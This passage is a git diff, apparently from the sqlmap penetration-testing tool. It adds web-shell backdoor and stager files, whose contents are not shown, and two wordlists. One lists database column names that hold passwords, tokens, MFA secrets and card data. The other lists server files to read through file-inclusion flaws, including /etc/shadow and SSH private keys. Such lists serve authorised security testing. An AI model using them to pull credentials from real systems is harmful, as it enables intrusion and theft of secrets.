--git a/data/shell/backdoors/backdoor.aspx_ b/data/shell/backdoors/backdoor.aspx_ new file mode 100644 index 00000000000..68f766c1bb3 Binary files /dev/null and b/data/shell/backdoors/backdoor.aspx_ differ diff --git a/data/shell/backdoors/backdoor.cfm_ b/data/shell/backdoors/backdoor.cfm_ new file mode 100644 index 00000000000..499e7062749 Binary files /dev/null and b/data/shell/backdoors/backdoor.cfm_ differ diff --git a/data/shell/backdoors/backdoor.jsp_ b/data/shell/backdoors/backdoor.jsp_ new file mode 100644 index 00000000000..112a15ec801 Binary files /dev/null and b/data/shell/backdoors/backdoor.jsp_ differ diff --git a/data/shell/backdoors/backdoor.php_ b/data/shell/backdoors/backdoor.php_ new file mode 100644 index 00000000000..2b0f420925a Binary files /dev/null and b/data/shell/backdoors/backdoor.php_ differ diff --git a/data/shell/stagers/stager.asp_ b/data/shell/stagers/stager.asp_ new file mode 100644 index 00000000000..9437f5cf878 Binary files /dev/null and b/data/shell/stagers/stager.asp_ differ diff --git a/data/shell/stagers/stager.aspx_ b/data/shell/stagers/stager.aspx_ new file mode 100644 index 00000000000..89dbea0056c Binary files /dev/null and b/data/shell/stagers/stager.aspx_ differ diff --git a/data/shell/stagers/stager.cfm_ b/data/shell/stagers/stager.cfm_ new file mode 100644 index 00000000000..910d3be5df5 Binary files /dev/null and b/data/shell/stagers/stager.cfm_ differ diff --git a/data/shell/stagers/stager.jsp_ b/data/shell/stagers/stager.jsp_ new file mode 100644 index 00000000000..c73b3ebbf19 Binary files /dev/null and b/data/shell/stagers/stager.jsp_ differ diff --git a/data/shell/stagers/stager.php_ b/data/shell/stagers/stager.php_ new file mode 100644 index 00000000000..f52f35a7a4e Binary files /dev/null and b/data/shell/stagers/stager.php_ differ diff --git a/data/txt/brotli-dictionary.tx_ b/data/txt/brotli-dictionary.tx_ new file mode 100644 index 00000000000..b8354d0bdb5 Binary files /dev/null and b/data/txt/brotli-dictionary.tx_ differ diff --git a/data/txt/catalog-identifiers.tx_ b/data/txt/catalog-identifiers.tx_ new file mode 100644 index 00000000000..65d58bdfd87 Binary files /dev/null and b/data/txt/catalog-identifiers.tx_ differ diff --git a/txt/common-columns.txt b/data/txt/common-columns.txt similarity index 90% rename from txt/common-columns.txt rename to data/txt/common-columns.txt index 6eab10cab8d..3d35ae98a4e 100644 --- a/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -1,5 +1,5 @@ -# Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission id name @@ -471,8 +471,10 @@ settingsid lname sale_date module_addr +flag # spanish + usuario nombre contrasena @@ -483,8 +485,11 @@ llave chaveta tono cuna +correo +contrasenia # german + benutzername benutzer passwort @@ -498,6 +503,7 @@ stichwort schlusselwort # french + utilisateur usager consommateur @@ -509,6 +515,7 @@ touche clef # italian + utente nome utilizzatore @@ -520,17 +527,109 @@ chiavetta cifrario # portuguese + usufrutuario chave cavilha # slavic + korisnik sifra lozinka kljuc +# turkish + +isim +ad +adi +soyisim +soyad +soyadi +kimlik +kimlikno +tckimlikno +tckimlik +yonetici +sil +silinmis +numara +sira +lokasyon +kullanici +kullanici_adi +sifre +giris +pasif +posta +adres +is_adres +ev_adres +is_adresi +ev_adresi +isadresi +isadres +evadresi +evadres +il +ilce +eposta +eposta_adres +epostaadres +eposta_adresi +epostaadresi +e-posta +e-posta_adres +e-postaadres +e-posta_adresi +e-postaadresi +e_posta +e_posta_adres +e_postaadres +e_posta_adresi +e_postaadresi +baglanti +gun +ay +yil +saat +tarih +guncelleme +guncellemetarih +guncelleme_tarih +guncellemetarihi +guncelleme_tarihi +yetki +cinsiyet +ulke +guncel +vergi +vergino +vergi_no +yas +dogum +dogumtarih +dogum_tarih +dogumtarihi +dogum_tarihi +telefon_is +telefon_ev +telefonis +telefonev +ev_telefonu +is_telefonu +ev_telefon +is_telefon +evtelefonu +istelefonu +evtelefon +istelefon +kontak +kontaklar + # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) + user pass cc_number @@ -701,7 +800,9 @@ news nick number nummer +passhash pass_hash +password_hash passwordsalt personal_key phone @@ -754,6 +855,7 @@ xar_name xar_pass # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html + account accnts accnt @@ -823,6 +925,7 @@ user_pwd user_passwd # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047) + fld_id fld_username fld_password @@ -975,6 +1078,7 @@ yhmm yonghu # site:br + content_id codigo geometry @@ -1231,6 +1335,7 @@ newssummaryauthor and_xevento # site:de + rolle_nr standort_nr ja @@ -1393,6 +1498,7 @@ summary_id gameid # site:es + catid dni prune_id @@ -1482,6 +1588,7 @@ time_stamp bannerid # site:fr + numero id_auteur titre @@ -1533,6 +1640,7 @@ n_dir age # site:ru + dt_id subdivision_id sub_class_id @@ -1736,8 +1844,13 @@ banner_id error language_id val +parol +familiya +imya +otchestvo # site:jp + dealer_id modify_date regist_date @@ -1869,6 +1982,7 @@ c_commu_topic_id c_diary_comment_log_id # site:it + idcomune idruolo idtrattamento @@ -2372,6 +2486,7 @@ client_img does_repeat # site:cn + typeid cronid advid @@ -2547,6 +2662,7 @@ disablepostctrl fieldname # site:id + ajar akses aktif @@ -2562,6 +2678,7 @@ jeda jenis jml judul +jumlah kata_kunci kata_sandi katakunci @@ -2574,6 +2691,7 @@ kunci lahir nama nama_akun +nama_ibu_kandung nama_pengguna namaakun namapengguna @@ -2583,6 +2701,7 @@ pengguna penjelasan perusahaan ponsel +profesi ruang sandi soal @@ -2590,6 +2709,7 @@ surat_elektronik surel tanggal tanggal_lahir +telepon tempat tempat_lahir tmp_lahir @@ -2598,5 +2718,173 @@ urut waktu # WebGoat + cookie login_count + +# https://sqlwiki.netspi.com/attackQueries/dataTargeting/ + +credit +card +pin +cvv +pan +password +social +ssn +account +confidential + +# site:nl + +naam +straat +gemeente +beschrijving +id_gebruiker +gebruiker_id +gebruikersnaam +wachtwoord +telefoon +voornaam +achternaam +geslacht +huisnummer +gemeente +leeftijd + +# site:cn + +yonghuming +mima +xingming +xingbie +touxiang +youxiang +shouji + +# Misc + +u_pass +hashedPw + +# API keys, tokens and secrets + +api_key +apikey +api_token +access_token +refresh_token +auth_token +session_token +remember_token +secret_key +client_secret +encryption_key +reset_token +password_reset_token +verification_token +confirmation_token +otp +otp_secret +totp_secret +mfa_secret +two_factor_secret + +# Framework and identity columns + +deleted_at +uuid +role +is_admin +is_active +is_verified +date_of_birth +dob +credit_card +postal_code + +# password (international) + +adgangskode +aikotoba +amho +bimilbeonho +codewort +contrasena +contrasenya +contrasinal +esmeramz +facalfare +fjalekalim +focalfaire +gagtnabar +geslo +gozarvazhe +gunho +haslo +heslo +hudyat +igamalokungena +iphasiwedi +javka +jelszo +kadavucol +kalameobur +kalimatumurur +kalimatusirr +kalmarsirri +katalaluan +katasandi +kennwort +kodeord +kodikos +kouling +kupiasoz +kupuhipa +kupukaranga +kupuuru +kupuwhakahipa +losen +losenord +lozinka +lykilord +matkhau +mima +nenosiri +nywila +okwuntughe +oroasina +oroigbaniwole +paeseuwodeu +parol +parola +parolachiave +paroladordine +parole +paroli +parolja +parool +parulle +pasahitza +pasfhocal +pasowardo +passord +passwort +pasuwado +pasvorto +rahatphan +ramzobur +salasana +salasona +santoysena +senha +sifra +sifre +sisma +slaptazodis +synthimatiko +tunnussana +wachtwoord +wachtwurd +wagwoord diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt new file mode 100644 index 00000000000..1e378d3c430 --- /dev/null +++ b/data/txt/common-files.txt @@ -0,0 +1,1854 @@ +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +# CTFs + +/flag +/flag.txt +/readflag + +# Reference: https://gist.github.com/sckalath/78ad449346171d29241a + +/apache/logs/access.log +/apache/logs/error.log +/bin/php.ini +/etc/alias +/etc/apache2/apache.conf +/etc/apache2/conf/httpd.conf +/etc/apache2/httpd.conf +/etc/apache/conf/httpd.conf +/etc/bash.bashrc +/etc/chttp.conf +/etc/crontab +/etc/crypttab +/etc/debian_version +/etc/exports +/etc/fedora-release +/etc/fstab +/etc/ftphosts +/etc/ftpusers +/etc/group +/etc/group- +/etc/hosts +/etc/http/conf/httpd.conf +/etc/httpd.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/httpd.conf +/etc/httpd/logs/acces_log +/etc/httpd/logs/acces.log +/etc/httpd/logs/access_log +/etc/httpd/logs/access.log +/etc/httpd/logs/error_log +/etc/httpd/logs/error.log +/etc/httpd/php.ini +/etc/http/httpd.conf +/etc/inetd.conf +/etc/inittab +/etc/issue +/etc/issue.net +/etc/lighttpd.conf +/etc/login.defs +/etc/mandrake-release +/etc/motd +/etc/mtab +/etc/my.cnf +/etc/mysql/my.cnf +/etc/openldap/ldap.conf +/etc/os-release +/etc/pam.conf +/etc/passwd +/etc/passwd- +/etc/password.master +/etc/php4.4/fcgi/php.ini +/etc/php4/apache2/php.ini +/etc/php4/apache/php.ini +/etc/php4/cgi/php.ini +/etc/php5/apache2/php.ini +/etc/php5/apache/php.ini +/etc/php5/cgi/php.ini +/etc/php/apache2/php.ini +/etc/php/apache/php.ini +/etc/php/cgi/php.ini +/etc/php.ini +/etc/php/php4/php.ini +/etc/php/php.ini +/etc/profile +/etc/proftp.conf +/etc/proftpd/modules.conf +/etc/protpd/proftpd.conf +/etc/pure-ftpd.conf +/etc/pureftpd.passwd +/etc/pureftpd.pdb +/etc/pure-ftpd/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.pdb +/etc/pure-ftpd/pureftpd.pdb +/etc/redhat-release +/etc/resolv.conf +/etc/samba/smb.conf +/etc/security/environ +/etc/security/group +/etc/security/limits +/etc/security/passwd +/etc/security/user +/etc/shadow +/etc/shadow- +/etc/slackware-release +/etc/sudoers +/etc/SUSE-release +/etc/sysctl.conf +/etc/vhcs2/proftpd/proftpd.conf +/etc/vsftpd.conf +/etc/vsftpd/vsftpd.conf +/etc/wu-ftpd/ftpaccess +/etc/wu-ftpd/ftphosts +/etc/wu-ftpd/ftpusers +/logs/access.log +/logs/error.log +/opt/apache2/conf/httpd.conf +/opt/apache/conf/httpd.conf +/opt/xampp/etc/php.ini +/private/etc/httpd/httpd.conf +/private/etc/httpd/httpd.conf.default +/root/.bash_history +/root/.ssh/id_rsa +/root/.ssh/id_rsa.pub +/root/.ssh/known_hosts +/tmp/access.log +/usr/apache2/conf/httpd.conf +/usr/apache/conf/httpd.conf +/usr/etc/pure-ftpd.conf +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/lib/security/mkuser.default +/usr/local/apache2/conf/httpd.conf +/usr/local/apache2/httpd.conf +/usr/local/apache2/logs/access_log +/usr/local/apache2/logs/access.log +/usr/local/apache2/logs/error_log +/usr/local/apache2/logs/error.log +/usr/local/apache/conf/httpd.conf +/usr/local/apache/conf/php.ini +/usr/local/apache/httpd.conf +/usr/local/apache/logs/access_log +/usr/local/apache/logs/access.log +/usr/local/apache/logs/error_log +/usr/local/apache/logs/error.log +/usr/local/apache/logs/error. og +/usr/local/apps/apache2/conf/httpd.conf +/usr/local/apps/apache/conf/httpd.conf +/usr/local/etc/apache2/conf/httpd.conf +/usr/local/etc/apache/conf/httpd.conf +/usr/local/etc/apache/vhosts.conf +/usr/local/etc/httpd/conf/httpd.conf +/usr/local/etc/php.ini +/usr/local/etc/pure-ftpd.conf +/usr/local/etc/pureftpd.pdb +/usr/local/httpd/conf/httpd.conf +/usr/local/lib/php.ini +/usr/local/php4/httpd.conf +/usr/local/php4/httpd.conf.php +/usr/local/php4/lib/php.ini +/usr/local/php5/httpd.conf +/usr/local/php5/httpd.conf.php +/usr/local/php5/lib/php.ini +/usr/local/php/httpd.conf +/usr/local/php/httpd.conf.php +/usr/local/php/lib/php.ini +/usr/local/pureftpd/etc/pure-ftpd.conf +/usr/local/pureftpd/etc/pureftpd.pdb +/usr/local/pureftpd/sbin/pure-config.pl +/usr/local/Zend/etc/php.ini +/usr/sbin/pure-config.pl +/var/cpanel/cpanel.config +/var/lib/mysql/my.cnf +/var/local/www/conf/php.ini +/var/log/access_log +/var/log/access.log +/var/log/apache2/access_log +/var/log/apache2/access.log +/var/log/apache2/error_log +/var/log/apache2/error.log +/var/log/apache/access_log +/var/log/apache/access.log +/var/log/apache/error_log +/var/log/apache/error.log +/var/log/error_log +/var/log/error.log +/var/log/httpd/access_log +/var/log/httpd/access.log +/var/log/httpd/error_log +/var/log/httpd/error.log +/var/log/messages +/var/log/messages.1 +/var/log/user.log +/var/log/user.log.1 +/var/www/conf/httpd.conf +/var/www/html/index.html +/var/www/logs/access_log +/var/www/logs/access.log +/var/www/logs/error_log +/var/www/logs/error.log +/Volumes/webBackup/opt/apache2/conf/httpd.conf +/Volumes/webBackup/private/etc/httpd/httpd.conf +/Volumes/webBackup/private/etc/httpd/httpd.conf.default +/web/conf/php.ini + +# Reference: https://github.com/devcoinfet/Sqlmap_file_reader/blob/master/file_read.py + +/var/log/mysqld.log +/var/www/index.php + +# Reference: https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/settings.py#L809-L810 + +/var/www/index.php +/usr/local/apache/index.php +/usr/local/apache2/index.php +/usr/local/www/apache22/index.php +/usr/local/www/apache24/index.php +/usr/local/httpd/index.php +/var/www/nginx-default/index.php +/srv/www/index.php + +/var/www/config.php +/usr/local/apache/config.php +/usr/local/apache2/config.php +/usr/local/www/apache22/config.php +/usr/local/www/apache24/config.php +/usr/local/httpd/config.php +/var/www/nginx-default/config.php +/srv/www/config.php + +# Reference: https://github.com/sqlmapproject/sqlmap/issues/3928 + +/srv/www/htdocs/index.php +/usr/local/apache2/htdocs/index.php +/usr/local/www/data/index.php +/var/apache2/htdocs/index.php +/var/www/htdocs/index.php +/var/www/html/index.php + +/srv/www/htdocs/config.php +/usr/local/apache2/htdocs/config.php +/usr/local/www/data/config.php +/var/apache2/htdocs/config.php +/var/www/htdocs/config.php +/var/www/html/config.php + +# Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux + +/etc/passwd +/etc/shadow +/etc/aliases +/etc/anacrontab +/etc/apache2/apache2.conf +/etc/apache2/httpd.conf +/etc/at.allow +/etc/at.deny +/etc/bashrc +/etc/bootptab +/etc/chrootUsers +/etc/chttp.conf +/etc/cron.allow +/etc/cron.deny +/etc/crontab +/etc/cups/cupsd.conf +/etc/exports +/etc/fstab +/etc/ftpaccess +/etc/ftpchroot +/etc/ftphosts +/etc/groups +/etc/grub.conf +/etc/hosts +/etc/hosts.allow +/etc/hosts.deny +/etc/httpd/access.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/httpd.conf +/etc/httpd/logs/access_log +/etc/httpd/logs/access.log +/etc/httpd/logs/error_log +/etc/httpd/logs/error.log +/etc/httpd/php.ini +/etc/httpd/srm.conf +/etc/inetd.conf +/etc/inittab +/etc/issue +/etc/lighttpd.conf +/etc/lilo.conf +/etc/logrotate.d/ftp +/etc/logrotate.d/proftpd +/etc/logrotate.d/vsftpd.log +/etc/lsb-release +/etc/motd +/etc/modules.conf +/etc/motd +/etc/mtab +/etc/my.cnf +/etc/my.conf +/etc/mysql/my.cnf +/etc/network/interfaces +/etc/networks +/etc/npasswd +/etc/passwd +/etc/php4.4/fcgi/php.ini +/etc/php4/apache2/php.ini +/etc/php4/apache/php.ini +/etc/php4/cgi/php.ini +/etc/php4/apache2/php.ini +/etc/php5/apache2/php.ini +/etc/php5/apache/php.ini +/etc/php/apache2/php.ini +/etc/php/apache/php.ini +/etc/php/cgi/php.ini +/etc/php.ini +/etc/php/php4/php.ini +/etc/php/php.ini +/etc/printcap +/etc/profile +/etc/proftp.conf +/etc/proftpd/proftpd.conf +/etc/pure-ftpd.conf +/etc/pureftpd.passwd +/etc/pureftpd.pdb +/etc/pure-ftpd/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.pdb +/etc/pure-ftpd/putreftpd.pdb +/etc/redhat-release +/etc/resolv.conf +/etc/samba/smb.conf +/etc/snmpd.conf +/etc/ssh/ssh_config +/etc/ssh/sshd_config +/etc/ssh/ssh_host_dsa_key +/etc/ssh/ssh_host_dsa_key.pub +/etc/ssh/ssh_host_key +/etc/ssh/ssh_host_key.pub +/etc/sysconfig/network +/etc/syslog.conf +/etc/termcap +/etc/vhcs2/proftpd/proftpd.conf +/etc/vsftpd.chroot_list +/etc/vsftpd.conf +/etc/vsftpd/vsftpd.conf +/etc/wu-ftpd/ftpaccess +/etc/wu-ftpd/ftphosts +/etc/wu-ftpd/ftpusers +/logs/pure-ftpd.log +/logs/security_debug_log +/logs/security_log +/opt/lampp/etc/httpd.conf +/opt/xampp/etc/php.ini +/proc/cpuinfo +/proc/filesystems +/proc/interrupts +/proc/ioports +/proc/meminfo +/proc/modules +/proc/mounts +/proc/stat +/proc/swaps +/proc/version +/proc/self/net/arp +/root/anaconda-ks.cfg +/usr/etc/pure-ftpd.conf +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/local/apache/conf/modsec.conf +/usr/local/apache/conf/php.ini +/usr/local/apache/log +/usr/local/apache/logs +/usr/local/apache/logs/access_log +/usr/local/apache/logs/access.log +/usr/local/apache/audit_log +/usr/local/apache/error_log +/usr/local/apache/error.log +/usr/local/cpanel/logs +/usr/local/cpanel/logs/access_log +/usr/local/cpanel/logs/error_log +/usr/local/cpanel/logs/license_log +/usr/local/cpanel/logs/login_log +/usr/local/cpanel/logs/stats_log +/usr/local/etc/httpd/logs/access_log +/usr/local/etc/httpd/logs/error_log +/usr/local/etc/php.ini +/usr/local/etc/pure-ftpd.conf +/usr/local/etc/pureftpd.pdb +/usr/local/lib/php.ini +/usr/local/php4/httpd.conf +/usr/local/php4/httpd.conf.php +/usr/local/php4/lib/php.ini +/usr/local/php5/httpd.conf +/usr/local/php5/httpd.conf.php +/usr/local/php5/lib/php.ini +/usr/local/php/httpd.conf +/usr/local/php/httpd.conf.ini +/usr/local/php/lib/php.ini +/usr/local/pureftpd/etc/pure-ftpd.conf +/usr/local/pureftpd/etc/pureftpd.pdn +/usr/local/pureftpd/sbin/pure-config.pl +/usr/local/www/logs/httpd_log +/usr/local/Zend/etc/php.ini +/usr/sbin/pure-config.pl +/var/adm/log/xferlog +/var/apache2/config.inc +/var/apache/logs/access_log +/var/apache/logs/error_log +/var/cpanel/cpanel.config +/var/lib/mysql/my.cnf +/var/lib/mysql/mysql/user.MYD +/var/local/www/conf/php.ini +/var/log/apache2/access_log +/var/log/apache2/access.log +/var/log/apache2/error_log +/var/log/apache2/error.log +/var/log/apache/access_log +/var/log/apache/access.log +/var/log/apache/error_log +/var/log/apache/error.log +/var/log/apache-ssl/access.log +/var/log/apache-ssl/error.log +/var/log/auth.log +/var/log/boot +/var/htmp +/var/log/chttp.log +/var/log/cups/error.log +/var/log/daemon.log +/var/log/debug +/var/log/dmesg +/var/log/dpkg.log +/var/log/exim_mainlog +/var/log/exim/mainlog +/var/log/exim_paniclog +/var/log/exim.paniclog +/var/log/exim_rejectlog +/var/log/exim/rejectlog +/var/log/faillog +/var/log/ftplog +/var/log/ftp-proxy +/var/log/ftp-proxy/ftp-proxy.log +/var/log/httpd/access_log +/var/log/httpd/access.log +/var/log/httpd/error_log +/var/log/httpd/error.log +/var/log/httpsd/ssl.access_log +/var/log/httpsd/ssl_log +/var/log/kern.log +/var/log/lastlog +/var/log/lighttpd/access.log +/var/log/lighttpd/error.log +/var/log/lighttpd/lighttpd.access.log +/var/log/lighttpd/lighttpd.error.log +/var/log/mail.info +/var/log/mail.log +/var/log/maillog +/var/log/mail.warn +/var/log/message +/var/log/messages +/var/log/mysqlderror.log +/var/log/mysql.log +/var/log/mysql/mysql-bin.log +/var/log/mysql/mysql.log +/var/log/mysql/mysql-slow.log +/var/log/proftpd +/var/log/pureftpd.log +/var/log/pure-ftpd/pure-ftpd.log +/var/log/secure +/var/log/vsftpd.log +/var/log/wtmp +/var/log/xferlog +/var/log/yum.log +/var/mysql.log +/var/run/utmp +/var/spool/cron/crontabs/root +/var/webmin/miniserv.log +/var/www/log/access_log +/var/www/log/error_log +/var/www/logs/access_log +/var/www/logs/error_log +/var/www/logs/access.log +/var/www/logs/error.log + +# Reference: https://nets.ec/File_Inclusion + +/etc/passwd +/etc/master.passwd +/etc/shadow +/var/db/shadow/hash +/etc/group +/etc/hosts +/etc/motd +/etc/issue +/etc/release +/etc/redhat-release +/etc/crontab +/etc/inittab +/proc/version +/proc/cmdline +/proc/self/environ +/proc/self/fd/0 +/proc/self/fd/1 +/proc/self/fd/2 +/proc/self/fd/255 +/etc/httpd.conf +/etc/apache2.conf +/etc/apache2/apache2.conf +/etc/apache2/httpd.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/httpd.conf +/etc/apache2/conf/httpd.conf +/etc/apache/conf/httpd.conf +/usr/local/apache2/conf/httpd.conf +/usr/local/apache/conf/httpd.conf +/etc/apache2/sites-enabled/000-default +/etc/apache2/sites-available/default +/etc/nginx.conf +/etc/nginx/nginx.conf +/etc/nginx/sites-available/default +/etc/nginx/sites-enabled/default +/etc/ssh/sshd_config +/etc/my.cnf +/etc/mysql/my.cnf +/etc/php.ini +/var/mail/www-data +/var/mail/www +/var/mail/apache +/var/mail/nobody +/var/www/.bash_history +/root/.bash_history +/var/root/.bash_history +/var/root/.sh_history +/etc/passwd +/etc/master.passwd +/etc/shadow +/var/db/shadow/hash +/etc/group +/etc/hosts +/etc/motd +/etc/issue +/etc/release +/etc/redhat-release +/etc/crontab +/etc/inittab +/proc/version +/proc/cmdline +/proc/self/environ +/proc/self/fd/0 +/proc/self/fd/1 +/proc/self/fd/2 +/proc/self/fd/255 +/etc/httpd.conf +/etc/apache2.conf +/etc/apache2/apache2.conf +/etc/apache2/httpd.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/httpd.conf +/etc/apache2/conf/httpd.conf +/etc/apache/conf/httpd.conf +/usr/local/apache2/conf/httpd.conf +/usr/local/apache/conf/httpd.conf +/etc/apache2/sites-enabled/000-default +/etc/apache2/sites-available/default +/etc/nginx.conf +/etc/nginx/nginx.conf +/etc/nginx/sites-available/default +/etc/nginx/sites-enabled/default +/etc/ssh/sshd_config +/etc/my.cnf +/etc/mysql/my.cnf +/etc/php.ini +/var/mail/www-data +/var/mail/www +/var/mail/apache +/var/mail/nobody +/var/www/.bash_history +/root/.bash_history +/var/root/.bash_history +/var/root/.sh_history +/usr/local/apache/httpd.conf +/usr/local/apache2/httpd.conf +/usr/local/httpd/conf/httpd.conf +/usr/local/etc/apache/conf/httpd.conf +/usr/local/etc/apache2/conf/httpd.conf +/usr/local/etc/httpd/conf/httpd.conf +/usr/apache2/conf/httpd.conf +/usr/apache/conf/httpd.conf +/etc/http/conf/httpd.conf +/etc/http/httpd.conf +/opt/apache/conf/httpd.conf +/opt/apache2/conf/httpd.conf +/var/www/conf/httpd.conf +/usr/local/php/httpd.conf +/usr/local/php4/httpd.conf +/usr/local/php5/httpd.conf +/etc/httpd/php.ini +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/local/etc/php.ini +/usr/local/lib/php.ini +/usr/local/php/lib/php.ini +/usr/local/php4/lib/php.ini +/usr/local/php5/lib/php.ini +/usr/local/apache/conf/php.ini +/etc/php4/apache/php.ini +/etc/php4/apache2/php.ini +/etc/php5/apache/php.ini +/etc/php5/apache2/php.ini +/etc/php/php.ini +/etc/php/php4/php.ini +/etc/php/apache/php.ini +/etc/php/apache2/php.ini +/usr/local/Zend/etc/php.ini +/opt/xampp/etc/php.ini +/var/local/www/conf/php.ini +/etc/php/cgi/php.ini +/etc/php4/cgi/php.ini +/etc/php5/cgi/php.ini +/var/log/lastlog +/var/log/wtmp +/var/run/utmp +/var/log/messages.log +/var/log/messages +/var/log/messages.0 +/var/log/messages.1 +/var/log/messages.2 +/var/log/messages.3 +/var/log/syslog.log +/var/log/syslog +/var/log/syslog.0 +/var/log/syslog.1 +/var/log/syslog.2 +/var/log/syslog.3 +/var/log/auth.log +/var/log/auth.log.0 +/var/log/auth.log.1 +/var/log/auth.log.2 +/var/log/auth.log.3 +/var/log/authlog +/var/log/syslog +/var/adm/lastlog +/var/adm/messages +/var/adm/messages.0 +/var/adm/messages.1 +/var/adm/messages.2 +/var/adm/messages.3 +/var/adm/utmpx +/var/adm/wtmpx +/var/log/kernel.log +/var/log/secure.log +/var/log/mail.log +/var/run/utmp +/var/log/wtmp +/var/log/lastlog +/var/log/access.log +/var/log/access_log +/var/log/error.log +/var/log/error_log +/var/log/apache2/access.log +/var/log/apache2/access_log +/var/log/apache2/error.log +/var/log/apache2/error_log +/var/log/apache/access.log +/var/log/apache/access_log +/var/log/apache/error.log +/var/log/apache/error_log +/var/log/httpd/access.log +/var/log/httpd/access_log +/var/log/httpd/error.log +/var/log/httpd/error_log +/etc/httpd/logs/access.log +/etc/httpd/logs/access_log +/etc/httpd/logs/error.log +/etc/httpd/logs/error_log +/usr/local/apache/logs/access.log +/usr/local/apache/logs/access_log +/usr/local/apache/logs/error.log +/usr/local/apache/logs/error_log +/usr/local/apache2/logs/access.log +/usr/local/apache2/logs/access_log +/usr/local/apache2/logs/error.log +/usr/local/apache2/logs/error_log +/var/www/logs/access.log +/var/www/logs/access_log +/var/www/logs/error.log +/var/www/logs/error_log +/opt/lampp/logs/access.log +/opt/lampp/logs/access_log +/opt/lampp/logs/error.log +/opt/lampp/logs/error_log +/opt/xampp/logs/access.log +/opt/xampp/logs/access_log +/opt/xampp/logs/error.log +/opt/xampp/logs/error_log + +# Reference: https://github.com/ironbee/ironbee-rules/blob/master/rules/lfi-files.data + +/.htaccess +/.htpasswd +/access.log +/access_log +/apache/conf/httpd.conf +/apache/logs/access.log +/apache/logs/error.log +/apache/php/php.ini +/apache2/logs/access.log +/apache2/logs/error.log +/bin/php.ini +/boot.ini +/boot/grub/grub.cfg +/boot/grub/menu.lst +/config.inc.php +/error.log +/error_log +/etc/adduser.conf +/etc/alias +/etc/apache/access.conf +/etc/apache/apache.conf +/etc/apache/conf/httpd.conf +/etc/apache/default-server.conf +/etc/apache/httpd.conf +/etc/apache2/apache.conf +/etc/apache2/apache2.conf +/etc/apache2/conf.d/charset +/etc/apache2/conf.d/phpmyadmin.conf +/etc/apache2/conf.d/security +/etc/apache2/conf/httpd.conf +/etc/apache2/default-server.conf +/etc/apache2/envvars +/etc/apache2/httpd.conf +/etc/apache2/httpd2.conf +/etc/apache2/mods-available/autoindex.conf +/etc/apache2/mods-available/deflate.conf +/etc/apache2/mods-available/dir.conf +/etc/apache2/mods-available/mem_cache.conf +/etc/apache2/mods-available/mime.conf +/etc/apache2/mods-available/proxy.conf +/etc/apache2/mods-available/setenvif.conf +/etc/apache2/mods-available/ssl.conf +/etc/apache2/mods-enabled/alias.conf +/etc/apache2/mods-enabled/deflate.conf +/etc/apache2/mods-enabled/dir.conf +/etc/apache2/mods-enabled/mime.conf +/etc/apache2/mods-enabled/negotiation.conf +/etc/apache2/mods-enabled/php5.conf +/etc/apache2/mods-enabled/status.conf +/etc/apache2/ports.conf +/etc/apache2/sites-available/default +/etc/apache2/sites-available/default-ssl +/etc/apache2/sites-enabled/000-default +/etc/apache2/sites-enabled/default +/etc/apache2/ssl-global.conf +/etc/apache2/vhosts.d/00_default_vhost.conf +/etc/apache2/vhosts.d/default_vhost.include +/etc/apache22/conf/httpd.conf +/etc/apache22/httpd.conf +/etc/apt/apt.conf +/etc/avahi/avahi-daemon.conf +/etc/bash.bashrc +/etc/bash_completion.d/debconf +/etc/bluetooth/input.conf +/etc/bluetooth/main.conf +/etc/bluetooth/network.conf +/etc/bluetooth/rfcomm.conf +/etc/ca-certificates.conf +/etc/ca-certificates.conf.dpkg-old +/etc/casper.conf +/etc/chkrootkit.conf +/etc/chrootusers +/etc/clamav/clamd.conf +/etc/clamav/freshclam.conf +/etc/crontab +/etc/crypttab +/etc/cups/acroread.conf +/etc/cups/cupsd.conf +/etc/cups/cupsd.conf.default +/etc/cups/pdftops.conf +/etc/cups/printers.conf +/etc/cvs-cron.conf +/etc/cvs-pserver.conf +/etc/debconf.conf +/etc/debian_version +/etc/default/grub +/etc/deluser.conf +/etc/dhcp/dhclient.conf +/etc/dhcp3/dhclient.conf +/etc/dhcp3/dhcpd.conf +/etc/dns2tcpd.conf +/etc/e2fsck.conf +/etc/esound/esd.conf +/etc/etter.conf +/etc/exports +/etc/fedora-release +/etc/firewall.rules +/etc/foremost.conf +/etc/fstab +/etc/ftpchroot +/etc/ftphosts +/etc/ftpusers +/etc/fuse.conf +/etc/group +/etc/group- +/etc/hdparm.conf +/etc/host.conf +/etc/hostname +/etc/hosts +/etc/hosts.allow +/etc/hosts.deny +/etc/http/conf/httpd.conf +/etc/http/httpd.conf +/etc/httpd.conf +/etc/httpd/apache.conf +/etc/httpd/apache2.conf +/etc/httpd/conf +/etc/httpd/conf.d +/etc/httpd/conf.d/php.conf +/etc/httpd/conf.d/squirrelmail.conf +/etc/httpd/conf/apache.conf +/etc/httpd/conf/apache2.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/extra/httpd-ssl.conf +/etc/httpd/httpd.conf +/etc/httpd/logs/access.log +/etc/httpd/logs/access_log +/etc/httpd/logs/error.log +/etc/httpd/logs/error_log +/etc/httpd/mod_php.conf +/etc/httpd/php.ini +/etc/inetd.conf +/etc/init.d +/etc/inittab +/etc/ipfw.conf +/etc/ipfw.rules +/etc/issue +/etc/issue +/etc/issue.net +/etc/kbd/config +/etc/kernel-img.conf +/etc/kernel-pkg.conf +/etc/ld.so.conf +/etc/ldap/ldap.conf +/etc/lighttpd/lighthttpd.conf 